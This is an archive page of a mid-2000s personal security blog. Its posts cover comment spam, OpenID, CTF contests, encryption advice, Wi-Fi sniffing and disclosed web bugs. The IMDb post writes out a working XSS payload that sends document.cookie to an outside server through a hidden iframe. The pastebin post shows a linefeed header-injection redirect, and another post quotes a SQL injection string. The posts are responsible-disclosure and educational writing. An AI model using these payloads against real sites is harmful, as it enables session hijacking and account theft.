codeblog code is freedom — patching my itch

5/24/2006

easy wordpress anti-spam

Filed under: Blogging,Networking,Security — kees @ 11:06 pm

After getting about 40 moderation requests a day, I figured I should spend some time finding some anti-comment-spam plugins for WordPress. After digging around a while, I found one that doesn’t require JavaScript, doesn’t perform vision tests, but works just fine for the kind of comment-spam-bot that seemed to have taken a liking to my blog (even though no spam ever appeared in my comments ever…)

I found lr2Spam which has a great setup, but an incomplete final step. I merged it with ideas I saw in the RBL measures plugin, and got some good results. By replacing lr2Spam’s comment_post with pre_comment_content (see the WordPress Plugin API), I was able to redirect spammers away from from my site with PHP’s header("Location: [URL]") technique. (This is what I borrowed from the RBL plugin.) The patch is almost as big as lr2Spam itself (both are very small). Honestly, I’m surprised it works at all. Someone wrote a comment-spam bot that can’t correctly parse a totally valid HTML form, but does correctly handle a 302/Location redirect. Weird.

I thought briefly about redirecting all the spammers to http://fbi.gov/i-am-a-spammer/?ip=[IP] but then realized their requests’ referer header would show my URL still. On further thought, I realized that comment-spam is very different from email spam because the bot has to implement a much larger set of protocol elements. Since they must respect the 302/Location redirect, someone who is getting hit really hard with comment spam could effectively DDoS somone’s link by redirecting to somewhere with big files. Say, for example, instead of using fbi.gov above, I used http://mirrors.example.com/iso/DVD-distro-image.iso. Every spam bot in their network would start a giant-ass download from example.com after hitting my anti-spam system. Ewww.

Implemented early on May 20th, after 4 days, I’ve seen 250 comment spam attempts from 162 unique IP addresses (most in China — maybe they need to turn their firewall around). The volume of spam isn’t big when compared to my daily email spam statistics, but each one of those would have been an email in my inbox, asking for moderation. Interestingly, they all stopped on May 23rd. Maybe they got a clue.

© 2006, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

5/3/2006

fun with OpenID

Filed under: Blogging,Security,Web — kees @ 6:04 pm

While I can’t log into NetFlix or Amazon with OpenID (or other federated login systems), I still wanted to try it out. The goal is to easily write comments on people’s blogs, edit Wiki pages, etc, all without having to keep logging in every time. So far, so good.

First step was to decide between running my own OpenID server or not. I went with “not”, since there really isn’t an installable OpenID server yet (there are only support libraries, it seems). Since I was given a permanent account with LiveJournal for some XSS testing I did for them, I figured I’d just use their stuff. I wanted to use “outflux.net” as my login everywhere, so I just added two lines to my outflux.net HTML source:

<link rel=”openid.server” href=”http://www.livejournal.com/openid/server.bml” />
<link rel=”openid.delegate” href=”http://keescook.livejournal.com/” />

Poof. Done. I used Videntity to verify that it was all working. Nifty stuff.

My only complaint is that it’s not clear how to get an end-to-end secure login. I can log into LiveJournal securely, but the OpenID server they run doesn’t seem to operate over HTTPS. Future study is needed. :)

© 2006, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

4/13/2006

Bruce Schneier on attack trends

Filed under: Blogging,Security — kees @ 9:20 pm

On Wednesday I attended Bruce Schneier‘s short talk about the trends of online attacks. I figure I need to take his talk with at least a small grain of salt. While he has a reputation to maintain, he also works for a security outsourcing company. That in mind, I still like reading his blog, and I enjoyed hearing him talk.

The main take-away from his talk was that attackers are more rarely “hobbyists”, and more commonly criminals. (i.e. there is profit motive rather than an interest in boasting rights.) In the same vein, worms are becoming more sophisticated, quieter, and increasingly effective, while losing their cleverness. (Criminals don’t care if their worm is lame, they don’t care if they ripped off someone else’s worm, they care that their worm is staying undiscovered and is making them money. As a result, whole families of slightly different worms are appearing.)

One thing he said, that I have a hard time believing, and if true is pretty scary, is that cyber-crime profits are now exceeding drug profits. I would love to understand what the sources for that statistic are. Beyond just phishing, beyond worms waiting for you to authenticate to banks before emptying your wallet, there is even small-scale Denial-of-Service extortion. Generally, it’s against places that are themselves on tenuous legal ground, like offshore gambling sites. “If you don’t pay us $X, we’ll DoS you again!” It’s protection money online. Wild.

The market for blackhat exploits is growing. This is reducing the time between vulnerability announcement and exploit usage. Unfortunately, in the Microsoft world, an opposite trend is happening: patch speed is slowing due to their needing to test more and more configurations, staying infinitely backward compatible. At least this has an upside that their patches are generally better and corporations are learning to trust auto-update systems. (And I think this kind of brain-share is actually good for all OS vendors.)

The commoditization (and therefore homogenizing) of hardware and software means that everyone runs the same stuff. Even the criminals. Before, generally only the various corporations had old AS/400 machines and no one really wrote attacks against them. Now stuff runs on PCs.

Overall, the attacks online are becoming increasingly more damaging financially (“criminals are good at what they do”). The volume of attacks come from the open Internet, but the more successful attacks come from inside a private network. More worms are simply waiting for opportunity instead of beating on a network.

While some of the crime organizations have been taken down, there are still large bot networks that are continuing to grow in size even though they have no controller any more. This is truly something out of dystopic sci-fi. I don’t know why, but while I find the idea of full AIs reasonable, and totally non-intelligent systems reasonable, I find half-AI systems really creepy. They just keep doing some semi-smart thing over and over waiting until mommy comes back to tell them to do something else now.

He wound down discussing his worries for the future. He wants people thinking about VoIP security now. (Worms sniff your typing and packets already, soon they can sniff your voice.) He hinted at Digital Restrictions Management without actually saying DRM. (“Who owns your computer?” To which I thought, “I do. This is why Free Software is so important.”)

In closing he talked about security being more about usability than technology. I took that to mean “the Art of security is more about usability than technology.” I can have infinite security by just unplugging something. But that’s not very artful. Towards the goal of successful (artful) security, he wants to see service providers be ultimately liable for the financial damage. He figures this puts the motivations in the right place. It seems like the right thing to me (if credit card companies want to avoid it, it must be good for me) but I suspect there is something hidden deeper that may cause greater harm. I can’t put my finger on it, so for now, I’ll agree. :)

At one point he gave a nice view into his own world, in which he has to go twice a year and disinfect his own mother’s computer of worms. The cobbler’s childrens’ feet…

The end of the session was a book signing (Counterpane gave out gratis copies of Schneier’s new book “Beyond Fear“). I showed my geek by having brought a copy of “Applied Cryptography” for him to sign too. For which he was geek-prepared, and tossed in a cryptogram. Even though he does this for lots of people (Google told me later), it was fun to see it in my book; I wasn’t expecting it.

© 2006, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

1/17/2006

ngsec games

Filed under: Reverse Engineering,Security — kees @ 5:49 pm

Today I was reminded of the NGsec security games site from a DefCon CTF team-mate. (This game was actually used as a prequal for DefCon 10, which I didn’t go to. Ken told me stories about it, though.) I burned through stages 1-9 in about 45 minutes, and then hit stage 10 and was side-tracked learning about encrypted ELF binaries.

There continues to be no useful FOSS binary analyzers for this kind of reverse engineering. gdb just doesn’t even begin to cut it: it was made for (surprise!) debugging programs built by friendly compilers, not doing forensics on decidedly unfriendly, hand-crafted binaries . If Paul Graham and Richard Hamming are to be believed:

  1. What are the most important problems in your field?
  2. Are you working on one of them?
  3. Why not?

I should be writing a static binary analyzer. And a dynamic one too. GPL IDApro replacement. Yeow.

© 2006, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

1/16/2006

kernel.org and sendfile

Filed under: kernel.org,Networking,Security — kees @ 4:50 pm

The “sendfile” system call is a way to send file contents directly out to a network socket. This saves time in userspace (so it doesn’t have to copy buffer contents around), and was one of the reasons I upgraded kernel.org‘s Apache to version 2.x at the end of 2003 (because version 1.x doesn’t have sendfile support). A few weeks ago, one of the other kernel.org admins discovered that files greater than 2G were not being delivered by Apache.

I had a lot of fun tracking down the issue. The “amount to send” argument in the sendfile call is a “size_t”, which is basically an “unsigned long”. Having a 2G limit didn’t make sense, since even with 32 bits, that should be a 4G limit. However, the kernel.org servers are both 64bit, so as it turns out, “size_t” is a full 64 bits. After writing a quick test, I was able to verify that it was, indeed, a 31 bit limit on both 64 bit and 32 bit kernels. Peter Anvin took it from here, and tracked down the origin of the problem: filesystem operations greater than 31 bits in offset were being rejected deep in the kernel. He suggested truncating the request instead of returning a failure.

Seems as though Linus decided to limit the size of filesystem calls to make sure there aren’t security problems (signed vs unsigned overflows) in the various filesystem drivers, while people using the Linux kernel migrate more from 32bit to 64bit systems. Personally, I don’t agree with this, but from a practical stand-point, it hardly makes a difference. Instead of sending all 4G out the pipe and returning to user space, it just returns twice, sending 2G per call.

This should be fixed in 2.6.16. Until then, we could patch Apache to keep it’s offset request under 31 bits, but we’ll probably just tell people to use FTP, since vsftpd doesn’t use sendfile yet.

© 2006, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

10/31/2005

imdb xss

Filed under: Security,Vulnerabilities — kees @ 10:43 pm

Last week I discovered a cross-site scripting vulnerability in IMDb’s website. It was a strong enough vulnerability that I could actively steal login sessions with it. Part of their Search system would pass the “to-be-displayed” location on the URL, and didn’t quote HTML entities. I was able to steal my own cookies and log in with my IMDb account from another computer. Last Wed, I reported it:

26 Oct 2005 10:29:59 PM
Hello!

It seems your service is vulnerable to cross-site scripting (XSS). Since you
have login information stored as cookies, it’s possible for people to trick
others into exposing their logins. As an example, this displays your cookies to
you in your browser:

http://imdb.com/List?locations=a&&heading=18;%3Cscript%3Ealert(document.cookie)%3C/script%3E

Please let me know if you have any questions. I love using IMDb, and thought
you might want to make yourselves more secure.

Thanks!

At 9am today, they had fixed it:

31 Oct 2005 09:01:17 AM
Thank you for your feedback about the Internet Movie Database.

The IMDb is constantly being updated and improved, and we welcome all comments and suggestions aimed at improving its features, flexibility and ease of use.

We appreciate that you took the time to share your thoughts with us. It has now been fixed.

Thank you for your support!

—-
Regards,
[name]
The IMDb Help Desk

Another success for vulnerability reporting!

As for a concrete example, the “heading” argument to their search tool was being displayed. The harmless example I used above just pops an alert dialog. To actually pass the cookies off-site where it can be collected, I used an invisible IFRAME, and pulled a content-less document from my server. To do this, I wanted the following to appear on the IMDb page:

<iframe src=”http://outflux.net/null.html?cookie” width=”0″ height=”0″ frameborder=”0″</iframe>

There are a number of ways to take the browser off-site. Another are the HTTP methods that get used in a lot of AJAX applications. I haven’t dug into using that, even though they’re way more powerful (since you don’t need to “hide” the results of an IFRAME, etc, if you don’t listen for the HTTP results, they just never get used — it’s only the “side-effect” of recording the cookie off-site that’s wanted). Since this XSS vulnerability lets me write JavaScript directly to the browser, I needed to inject the following:

document.write(‘<iframe src=”http://outflux.net/null.html?’+document.cookie+'” width=”0″ height=”0″ frameborder=”0″</iframe>’)

And here it is, HTML-encoded, stuffed into the middle of the “header” argument to the search function, disguised as a search for filming locations in Vancouver, BC:

http://imdb.com/List?endings=on&&locations=Koerner%20Plaza,%20University%20of%20British%20Columbia,%20Vancouver,%20British%20Columbia,%20Canada&&heading=18;with+locations+including;Koerner%20Plaza,%20University%20of%20British%20Columbia,%20Vancouver,%20British%20Columbia,%3Cscript%3Edocument.write(‘%3Ciframe%20src=%22http://outflux.net/null.html?’%2Bdocument.cookie%2B’%22%20width=%220%22%20height=%220%22%20frameborder=%220%22%3E%3C/iframe%3E’)%3C/script%3E%20Canada

And if you click that, you can see their newly fixed entity-escaping. Again, kudos to IMDb! Additionally, it looks like they rearranged their search tool to not even use the “header” argument anymore. Neato.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

10/27/2005

pastebin rulez

Filed under: Security,Vulnerabilities — kees @ 7:40 am

When discussing code on IRC, I’ve found http://pastebin.com/ to be a valuable resource for sharing code snippets. It has a really simple interface, and can give you a semi-private area just by specifying a subdomain (e.g. http://yayoutflux.pastebin.com/).

I had spent some time yesterday doing some other security audits, and figured I’d poke around at pastebin. Overall, the system was fine (only two inputs: text and name — both were strongly filtered). I did discover a redirect bug, though, which would let me use the site to redirect to somewhere else. While there isn’t anything to “steal” on pastebin, a bad guy could still trick their unsuspecting friends into visiting other (maybe more dangerous?) websites.

I reported the problem to pastebin’s author (Paul Dixon), and he had it fixed before I woke up. That’s how vulnerability reporting is supposed to work! Thanks Paul!

Here’s how it used to work. From the pastebin help, you can type in a subdomain to use for your pastebin. (Like “yayoutflux” above.) The form did some checking (no /’s allowed), but would accidentally let you send whitespace, including a linefeed.

Normally, a web redirect from that form would look something like this, where the user input is shown in bold:

HTTP/1.1 302 Found
Location: http://yayoutflux.pastebin.com

However, if I add a linefeed (URL encoded as %0A: http://pastebin.com/pastebin.php?goprivate=cnn.com%0A), I could break the “Location” tag, and trick the browser into going somewhere else:

HTTP/1.1 302 Found
Location: http://cnn.com
.pastebin.com

Great illustration of redirection XSS.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

10/19/2005

color printer tracking

Filed under: Reverse Engineering,Security — kees @ 3:28 pm

I’m a little behind in my Slashdot reading, so apologies to those that saw this earlier.

The EFF cracked the nearly invisible finger-printing code produced by color printers. This system is used by most (if not all) major color printer manufacturers to report the serial number of the printer used and the date a page was printed. This system has been in place for at least 10 years. I’m horrified at this kind of privacy invasion. To quote the EFF:

“Underground democracy movements that produce political or religious pamphlets and flyers, like the Russian samizdat of the 1980s, will always need the anonymity of simple paper documents, but this technology makes it easier for governments to find dissenters,” said EFF Senior Staff Attorney Lee Tien. “Even worse, it shows how the government and private industry make backroom deals to weaken our privacy by compromising everyday equipment like printers. The logical next question is: what other deals have been or are being made to ensure that our technology rats on us?”

EFF press release: http://www.eff.org/news/archives/2005_10.php#004063
Washington Post coverage: http://www.washingtonpost.com/wp-dyn/content/article/2005/10/18/AR2005101801663.html
Slashdot: http://yro.slashdot.org/article.pl?sid=05/10/18/1210237&tid=158&tid=194

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

8/7/2005

quick guide to encryption

Filed under: Networking,Security — kees @ 11:02 pm

I should qualify my comments from my prior blog entry and say that I’m appalled at Service Providers (not users) that continue to offer insecure services to their clients. Users, however, should be asking their Providers for secure services. Most don’t know to ask this, and that’s why I think the responsibility falls on the Provider.

Here’s my crash-course in simple anti-sniffing techniques.

  • Evaluate your network: if you’re on open Wireless, any one interested can see all communications to/from your computer. Be paranoid. If you’re on a wired network, your communications can still be seen, but it tends to be much less likely.
  • Evaluate your services: do you care about your various services? Do you have a different password for each service? Details below…

Evaluating your services requires creating a short list of all the things you send over the network from your computer. For basic anti-sniffing, there are two types of “encryption” available for most services:

  • Authentication: logging into anything. Checking email, logging into IM, logging into websites, etc. Some services offer “encrypted” authentication. Modern AIM clients, “APOP” POP clients, etc. If your authentication is encrypted people can’t just sniff your account/password off the wire.
  • Communication: all the traffic to any site/service. All services have a fully encrypted counterpart. Almost everything uses SSL for encryption, and appends an “S” to the protocol name. HTTP has HTTPS, POP has POPS, IMAP has IMAPS, SMTP has a TLS mode, Jabber has an SSL mode, good IRC networks have an SSL mode, etc. These SSL-protected services encrypt ALL of your communciation, including the username/password authentication.

It’s best to have fully encrypted communications, but if you can’t, just getting some kind of obfuscated authentication mechanism is better than nothing. Just ask yourself any time you type in a username/password, “How is this being sent to the remote server?”

So, here are some specifics to various common services:

  • Receiving email: POP and IMAP have SSL modes that run on different ports. See if your email Provider offers these services and switch your client to using those instead. If that’s not available, see if POP or IMAP support other authentication modes besides the clear-text “Plain” and “Password”. For example CRAM-MD5, Challenge/Response.
  • Sending email: SMTP has an SSL mode too. This is either called “STARTTLS” or “SSL”. A good Provider will offer SMTP on port 587 with STARTTLS. Hopefully your Provider requires you to authenticate before sending email. Instead of SSL, like POP/IMAP above, they may offer CRAM-MD5, etc.
  • Web sites: only use “https://” for logging into websites. If there isn’t a little lock in the corner of your browser, don’t log in. The browser folks have done a lot to help folks with this part. Ecommerce has caused a huge push to avoid in-the-clear authentication on websites. Unfortunately, some sites will still let you log in without SSL. (Like flickr, it seems.)
  • IM: I’m not sure about ICQ, MSN, etc, but Jabber offers a full SSL mode. The “old” style runs on a separate port (5223). The “new” style gets “turned on” during the initial jabber session setup. This would give you fully encrypted communications. I know AIM has both a Challenge/Response and MD5 mechanism for logging in, so at the very least, use those.

If you’re not sure if your communication is being encrypted or not, it’s very easy to install a network sniffer. Ethereal is available for almost every platform around, via the libpcap libraries. Just start it capturing before you use a service, use the service, and then go find the traffic in the capture log. Ethereal will identify almost all services by name (“HTTP”, “POP”, “IRC”, “AIM”, etc.) To see the traffic, click on the “Analyze > Follow TCP Stream”. This will show you all the communication for a given connection. (Click on “Clear” in the Filter bar to see all your traffic again.)

If you want to browse the traffic more easily, you can type in other filter terms. For example, to make sure your POP password isn’t being sent in the clear, enter “pop.request” in the Filter, and click “Apply”. Pick a packet, and select the “Request” section in the Packet Tree. If you see:

Request: USER omfg

Request: PASS intheclear

Then your “omfg” account is showing it’s password to the rest of the network. :)

Another alternative to all this pain is to have a VPN connection to some other network that you trust. This is the easiest to configure on the client side. If that’s not available, you can also tunnel all your traffic through an SSH connection. This is easiest to configure on the server side (no config). Here is an example of tunneling your POP service through SSH:

ssh -L 2110:pop.example.com:110 account@example.com

That’ll set up a local port 2110 that gets forwarded to “pop.example.com” port 110 (POP) after logging you in to some SSH account. This means you have to configure your POP client to use “localhost” port 2110 instead of “pop.example.com” on the regular POP port. And then you can only POP when your SSH connection is up.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

oscon 2005 wireless sniffing

Filed under: Networking,Security — kees @ 9:03 pm

OSCON’s wireless network was okay. It didn’t seem to handle the load very well, but generally you could pick out an Access Point that was still responding to DHCP, and it would work well enough.

I feel like I’m beating a dead horse, but I’m appalled at how many people continue to not use encryption. I spent some time yesterday going through my 4.1G of packet capture logs. Generally, I scanned POP, SMTP, IRC, and HTTP traffic. I should probably find better tools than just ethereal, but after finding 45 different POP accounts that were authenticating in the clear, I stopped counting. That put me half way through Thursday, so that’s only a day and a half of OSCON wireless traffic. No one seems to protect their nick on FreeNode, so at least no one’s nick password was sent in the clear. One person logged into Flickr in the clear. One of the accounts was for the speaker I was listening to at one point. I recognized the POP account because it was up on his slides.

What’s really interesting is the number of people that didn’t authenticate in the clear but ran the rest of their traffic in the clear. For example, many people used various challenge/response systems to authenticate to POP, IMAP, SMTP, and AIM, but then all the traffic continued to stay in the clear. All their email and AIM buddy information was out on the wire.

I know there was at least one other person doing network sniffing, since I saw him running EtherPEG (which makes a live collage of all the incoming HTTP images on the wire). I started up a heavy download of images just for him, but I think he had bored himself with enless slashdot and oreilly GIFs and never looked back to see the fun I had sent over the air for him. :)

(If you don’t have a Mac and you want EtherPEG functionality, there is also DriftNet.)

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

7/25/2005

world series of hacking

Filed under: Security — kees @ 9:46 pm

Friday approaches! DefCon is this weekend. I can’t wait. To think I’m going to be hacking so hard this weekend, I won’t see Battlestar Galactica until Monday. *shiver*

So far, I’ve got patches against ettercap, snort, and gdb. This year, I hope to actually do a full write-up of the Capture the Flag game, since no one else ever seems to do it. :)

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

6/5/2005

time for some sleep

Filed under: Security — kees @ 8:30 am

That was a seriously challenging prequal and I’m glad it’s over. Our team, Plan B, placed 4th out of 20 or so other teams making it into the top 6 that will move on to DefCon CTF. (Actually, we’re 3rd because one of the teams won’t be playing…)

So far the wittiest motto: “Plan B: we’re not the best, but we’ll damn well stay up all night”.

Night night.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

6/3/2005

defcon prequal

Filed under: Security — kees @ 11:31 am

Man, I’m so excited! The DefCon Capture the Flag contest prequalification round is starting tonight. There goes my whole weekend! I’m very curious how this is going to turn out. This year I’m part of a much smaller team than the last two years, and the game organizers are new. (Well, they’re new to organizing; they’ve been competitors in CTF before.) The last 3 years CTF was run by the Ghetto Hackers, and the last two years had enough applicants that a prequalification round was needed. The same thing is happening this year.

Two years ago, I joined the Immunix CTF team late (who had played the year prior as well), and heard details about the web-based puzzles used for the CTF prequal. Last year, we got to do active attacks against executables on a provided machine. After overflowing each executable, you gained the group privs to run the next executable. Additionally, there was a text string token that you emailed to the GH to prove that you had gotten through that stage. Each stage was progressively more difficult to exploit.

So far this year the early clues are pretty shallow. They have mentioned “tokens” again, and a contest website. Maybe the website will give instructions on a machine to log into. Maybe it’ll all be web based again. Either way, I’m stocking up on beef jerky and water.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

4/16/2005

referer headers

Filed under: Multimedia,Security — kees @ 2:33 pm

I’m surprised that anyone still uses referer headers as a “security” measure. I’ve come across this several times recently. I’ll select a URL out of firefox, and paste it onto a curl -O command line, only to end up with a 0-sized file. And usually if I just add -e [site URL] to the command line, poof there’s my file. Most recently, I found this when trying to download the freely available Nine Inch Nails samples.

Seriously, what’s the point of doing this test? I don’t understand at all. If you want people to download a file in their web browser, do you think they can’t figure this out?

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

3/31/2005

fortune cookie goodness

Filed under: Security — kees @ 9:46 pm

Today, my fortune read:

There is no security on this earth;
there is only opportunity.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

1/13/2005

Command Line Scraps

Filed under: Security — kees @ 6:21 pm

Usually when I have to temporarily hold onto something in my cut buffer, I might paste it into an open xterm. I don’t have any fancy cut buffer management tools running (though I probably should). So it’s always amusing to Alt-Tab through my windows after a busy day and find little snippets of conversations, phone numbers, and today when I sat down to my computer at home after work, I find, pasted into my xterm from the evening earlier’s experimentation: 'OR''='

I had a brief flash of what it might be like to be a drunken blackhat. Waking up in the morning, navigating through a sea of beer bottles, settling down at your computer, only to find it strewn with previously calculated buffer overflow offsets, SQL injection attempts, and cracked WEP keys. “Oh man, what a night! What did I get myself into?”

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

1/5/2005

SuSE Firewall

Filed under: Networking,Security — kees @ 5:08 pm

Started looking at the SuSE firewall scripts today. They’re quite nice, actually. So far, they look like they’ll support everything I want to do without any trouble. What’s really nice about it is the resulting script is much more readable than a string of iptables commands (where I’d have to specify the ACCEPT, NAT, and FORWARD for inbound services generally in different places).

What I’d really like to see would be an m4-based version of the script. It’s good enough for sendmail and autoconf, why not iptables? :) That would totally rock, because then I’d be able to see the resulting list of iptables commands. I bet there’s a place somewhere to see them now; but I just haven’t looked.

I’m hoping that this firewall configuration will play nice with heartbeat, which I’ll be using to do some high-availability work on the firewall pair. I’ve had to fight a little with SuSE over the interface names (I want to name the network interfaces after their function, not their boot order). udev has been quite friendly, but SuSE seems to have special meanings for various separator characters. I wanted to have “eth-internal”, etc, but it seems to strip “eth-“. And “eth_internal” turns into “eth/internal”. So, I’m just using “etinternal” instead. :P

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

1/1/2005

Blogtastic

Filed under: Blogging,Security — kees @ 11:56 pm

Well, after messing around with WordPress for a little while, I switched to Drupal. WordPress is pretty cool, and all I really wanted was a nice Blog system. Drupal is a bit of overkill for that, but it seems more mature. WordPress really didn’t like being put onto an HTTPS server, so that made it a pretty poor choice for me.

Before getting a huge list of Blogs from the folks on the inkscape channel (thanks guys!) I had briefly tried Simple Blog System, and ran screaming from it. There were at least 3 types of security holes in it. I only noticed because I saw one within the first 10 lines of index.php. I’m not sure how far I trust Drupal, but at least it correctly deals with PHP magicquotes.

Check out Open Source CMS for a list of all the various CMS software out there. Kinda handy if you have an entire day to blow looking through all the stuff.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

« Newer Posts

Powered by WordPress